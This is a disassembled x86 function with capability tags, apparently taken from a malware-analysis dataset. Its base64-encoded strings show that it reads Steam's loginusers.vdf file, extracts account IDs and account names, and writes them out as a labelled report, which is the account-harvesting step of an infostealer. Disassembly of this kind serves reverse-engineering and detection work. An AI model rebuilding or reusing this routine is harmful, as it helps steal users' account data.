Function at 0x404dc1
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xca0]
sub esp, 0xd20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0xc9c], eax
mov eax, dword [ebp + 0xca8]
push ebx
push esi
push edi
mov esi, 0x5ea5e8
push esi
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x2ff
mov ebx, eax
xor edi, edi
lea eax, [ebp + 0x79d]
push edi
push eax
mov byte [ebp + 0x79c], 0
call fcn.0055bfc0
push 0x1ff
lea eax, [ebp + 0xa9d]
push edi
push eax
mov byte [ebp + 0xa9c], 0
call fcn.0055bfc0
push 0x7ff
lea eax, [ebp - 0x63]
push edi
push eax
mov byte [ebp - 0x64], 0
call fcn.0055bfc0
add esp, 0x24
mov dword [ebp - 0x78], edi
cmp ebx, edi
je 0x405093
lea eax, [ebp + 0x79c]
push 0x300
push eax
mov eax, str.Y29uZmlnXGxvZ2ludXNlcnMudmRm
call fcn.00403379
pop ecx
pop ecx
lea eax, [ebp + 0x79c]
push eax
push esi
lea eax, [ebp + 0xa9c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push edi
push 0x80
push 3
push edi
push 1
push connect
lea eax, [ebp + 0xa9c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x6c], eax
cmp eax, 0xffffffff
je 0x405093
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea eax, [ebx + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp esi, edi
je 0x405093
push edi
lea eax, [ebp - 0x78]
push eax
push ebx
push esi
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405093
push 0x7b
lea eax, [esi + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov dword [ebp - 0x68], eax
cmp eax, edi
je 0x405083
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x404efd
xor edi, edi
push 0x200
lea eax, [ebp + 0xa9c]
push edi
push eax
call fcn.0055bfc0
mov esi, dword [ebp - 0x68]
add esi, 0xffffffec
lea edi, [ebp + 0xa9c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, 0x300
lea eax, [ebp + 0x79c]
push edi
push eax
mov eax, str.ICAgIFNURUFNOg0KTElOSzogaHR0cHM6Ly9zdGVhbWNvbW11bml0eS5jb20vcHJvZmlsZXMv
call fcn.00403379
add esp, 0x14
lea eax, [ebp + 0x79c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
lea eax, [ebp + 0xa9c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
lea eax, [ebp + 0x79c]
push edi
push eax
mov eax, str.DQpBQ0NPVU5UOiA
call fcn.00403379
pop ecx
pop ecx
lea eax, [ebp + 0x79c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
lea eax, [ebp + 0xa9c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
push 0x200
lea eax, [ebp + 0xa9c]
push 0
push eax
call fcn.0055bfc0
lea eax, [ebp + 0x79c]
push 0x100
push eax
mov eax, str.QWNjb3VudE5hbWU
call fcn.00403379
add esp, 0x14
lea eax, [ebp + 0x79c]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x74], eax
test eax, eax
je 0x405080
push 0xa
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov esi, eax
test esi, esi
je 0x405080
push 0x200
lea eax, [ebp + 0xa9c]
push 0
push eax
call fcn.0055bfc0
mov eax, dword [ebp - 0x74]
sub esi, eax
sub esi, 0x10
add eax, 0xf
push esi
push eax
lea eax, [ebp + 0xa9c]
push eax
call fcn.0055bc50
lea eax, [ebp + 0x79c]
push edi
push eax
mov eax, str.DQpOQU1FOiA
call fcn.00403379
add esp, 0x20
lea eax, [ebp + 0x79c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
lea eax, [ebp + 0xa9c]
push eax
lea eax, [ebp - 0x64]
push eax
call ebx
push 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x800
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.0055bfc0
mov eax, dword [ebp - 0x68]
add esp, 0xc
push 0x7b
inc eax
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov dword [ebp - 0x68], eax
test eax, eax
jne 0x404efb
mov esi, dword [ebp - 0x7c]
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp + 0xc9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0xca0
leave
ret